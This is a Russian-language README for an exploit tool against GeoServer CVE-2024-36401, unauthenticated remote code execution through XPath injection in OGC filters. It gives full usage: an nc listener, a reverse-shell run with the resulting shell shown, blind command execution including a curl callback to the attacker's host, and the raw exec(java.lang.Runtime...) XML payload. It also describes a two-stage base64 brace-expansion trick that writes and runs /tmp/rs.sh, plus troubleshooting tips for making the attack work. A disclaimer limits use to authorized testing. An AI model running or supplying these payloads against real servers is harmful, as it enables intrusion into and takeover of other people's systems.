
Неаутентифицированный эксплойт RCE для GeoServer (CVE-2024-36401) через XPath-инъекцию в фильтре OGC. Поддерживает reverse shell и слепое выполнение команд с автоматическим определением версии и зондированием типов объектов.
Эксплойт неаутентифицированного удалённого выполнения кода для GeoServer через внедрение параметра valueReference в OGC-фильтры (выполнение XPath/JXPath).
Отказ от ответственности: Этот инструмент предназначен только для авторизованного тестирования на проникновение и исследований в области безопасности. Не используйте его против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения. Автор не несёт ответственности за неправомерное использование или ущерб, причинённый данным инструментом.
GeoServer — это сервер на Java с открытым исходным кодом для обмена геопространственными данными, широко развёрнутый в государственных, корпоративных и научных средах. CVE-2024-36401 позволяет неаутентифицированному злоумышленнику выполнять произвольные команды ОС на хосте путём внедрения Java-выражений в параметры OGC-фильтров (Open Geospatial Consortium).
Уязвимость была добавлена в каталог CISA Known Exploited Vulnerabilities (KEV) в июле 2024 года из-за активной эксплуатации в реальных атаках.
| Ветка | Уязвимый диапазон | Исправлено в |
|---|---|---|
| 2.23.x | < 2.23.6 | 2.23.6 |
| 2.24.x | < 2.24.4 | 2.24.4 |
| 2.25.x | < 2.25.2 | 2.25.2 |
Версии GeoServer старше 2.23.0 также, вероятно, уязвимы, но больше не поддерживаются и не тестировались.
GeoServer использует библиотеку GeoTools для вычисления выражений OGC-фильтров. Параметр valueReference (а также другие, например CQL_FILTER) передаётся в JXPathContext.selectNodes() из Apache Commons JXPath без санитизации.
JXPath поддерживает вызов произвольных Java-методов через выражения вида:
exec(java.lang.Runtime.getRuntime(), 'id')
Это вычисление происходит до проверки аутентификации для определённых конечных точек, что делает уязвимость полностью неаутентифицированной.
Уязвимые конечные точки:
POST /geoserver/wfs — запрос GetPropertyValue с параметром valueReferenceGET /geoserver/ows — тот же параметр через строку запросаКлючевое техническое замечание: выражение valueReference должно использовать одинарные кавычки (') вокруг строки команды. Двойные кавычки (") вызывают ошибки разбора XML и препятствуют выполнению — это распространённая ошибка в других публичных PoC.
requestssf, topp, tiger)git clone https://github.com/Delt-A/CVE-2024-36401-poc
cd CVE-2024-36401-poc
pip3 install requests
Или установите зависимости напрямую:
pip3 install requests
usage: exploit_CVE-2024-36401.py [-h] -t TARGET [-l LHOST] [-p LPORT]
[-c CMD] [-f FEATURE]
options:
-h, --help show this help message and exit
-t, --target TARGET Target URL, e.g. http://<TARGET>:8080
-l, --lhost LHOST Your IP address for reverse shell callback
-p, --lport LPORT Listener port (default: 4444)
-c, --cmd CMD Single command to execute (no output returned)
-f, --feature FEATURE Feature type override (auto-detected if omitted)
| Режим | Флаги | Описание |
|---|---|---|
| Обратная оболочка | -l LHOST -p LPORT | Двухэтапная обратная оболочка через bash |
| Выполнение команды | -c CMD | Выполнение одной команды (вслепую — без вывода) |
| Переопределение типа объекта | -f FEATURE | Пропустить автоопределение, использовать указанный тип |
Сначала запустите прослушиватель:
nc -lvnp 4444
Затем запустите эксплойт:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444
Ожидаемый вывод:
_______ ________ ___ ____ ___ __ __ _____ _____ __ __ ____
/ ____/ | / / ____/ |__ \ / __ \__ \/ // / |__ // ___// // / / __ \
/ / | | / / __/________/ // / / /_/ / // /_______ /_ </ __ \/ // /_/ / / /
/ /___ | |/ / /__/_____/ __// /_/ / __/__ __/_____/__/ / /_/ /__ __/ /_/ /
\____/ |___/_____/ /____/\____/____/ /_/ /____/\____/ /_/ \____/
___
< /
/ /
/ /
/_/
GeoServer OGC XPath Injection RCE | CVE-2024-36401
Unauthenticated | CVSS 9.8 | Affects < 2.25.2 / 2.24.4 / 2.23.6
[*] Target : http://<TARGET>:8080
[+] GeoServer detected — version: 2.24.2
[+] Version 2.24.2 is VULNERABLE
[*] Probing feature types...
[+] Feature type: sf:archsites
[*] Feature type : sf:archsites
[*] Listener : <LHOST>:4444
[*] Start : nc -lvnp 4444
[*] Stage 1 — writing /tmp/rs.sh on target...
[+] Payload delivered via sf:archsites
[*] Stage 2 — executing → <LHOST>:4444
[+] Done — check your listener
На прослушивателе:
Connection received on <TARGET> 43210
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
geoserver@target:~$
Выполните команду без получения вывода. Полезно для внешней проверки (out-of-band) или записи файлов:
# Проверка выполнения через создание файла
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "touch /tmp/pwned"
# Вызов curl callback для подтверждения выполнения
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-c "curl http://<LHOST>:8000/pwned"
Примечание: команды, содержащие метасимволы оболочки (
>,|,&,;), автоматически кодируются в base64, чтобы избежать проблем с разбором.
Если автоматическое определение не удалось, укажите известный тип объекта целевой системы:
python3 exploit_CVE-2024-36401.py \
-t http://<TARGET>:8080 \
-l <LHOST> \
-p 4444 \
-f topp:states
Распространённые типы объектов, входящие в демонстрационные данные GeoServer:
| Рабочая область | Тип объекта |
|---|---|
sf | sf:archsites, sf:bugsites, sf:roads, sf:streams |
topp | topp:states, topp:tasmania_cities, topp:tasmania_roads |
tiger | tiger:giant_polygon, tiger:poi, tiger:tiger_roads |
cite | cite:Buildings |
Эксплойт отправляет WFS-запрос GetPropertyValue с вредоносным выражением valueReference:
<wfs:GetPropertyValue service='WFS' version='2.0.0'
xmlns:wfs='http://www.opengis.net/wfs/2.0'>
<wfs:Query typeNames='sf:archsites'/>
<wfs:valueReference>
exec(java.lang.Runtime.getRuntime(),'COMMAND')
</wfs:valueReference>
</wfs:GetPropertyValue>
Для обратной оболочки используется двухэтапный подход, чтобы избежать проблем с метасимволами оболочки внутри строкового аргумента exec():
Этап 1 — запись обратной оболочки в /tmp/rs.sh с использованием base64-кодирования и подстановки фигурных скобок в bash (без пробелов в строке exec):
bash -c {echo,BASE64_PAYLOAD}|{base64,-d}|{tee,/tmp/rs.sh}
Этап 2 — выполнение скрипта:
bash /tmp/rs.sh
Такой подход позволяет избежать необходимости в интерпретаторе оболочки в первом вызове exec(), что делает его надёжным для различных конфигураций системы.
[-] Cannot connect to target
curl http://<TARGET>:8080/geoserver/web/[-] No usable feature type found
-f <workspace>:<type>curl "http://<TARGET>:8080/geoserver/wfs?request=GetCapabilities"[+] Payload delivered, но оболочка не получена
LHOST:LPORT") вокруг команды — это не работает. Убедитесь, что внутри выражения valueReference используются одинарные кавычки (').[!] Version X.X.X may be patched — attempting anyway
Этот проект распространяется под лицензией MIT. Подробности см. в LICENSE.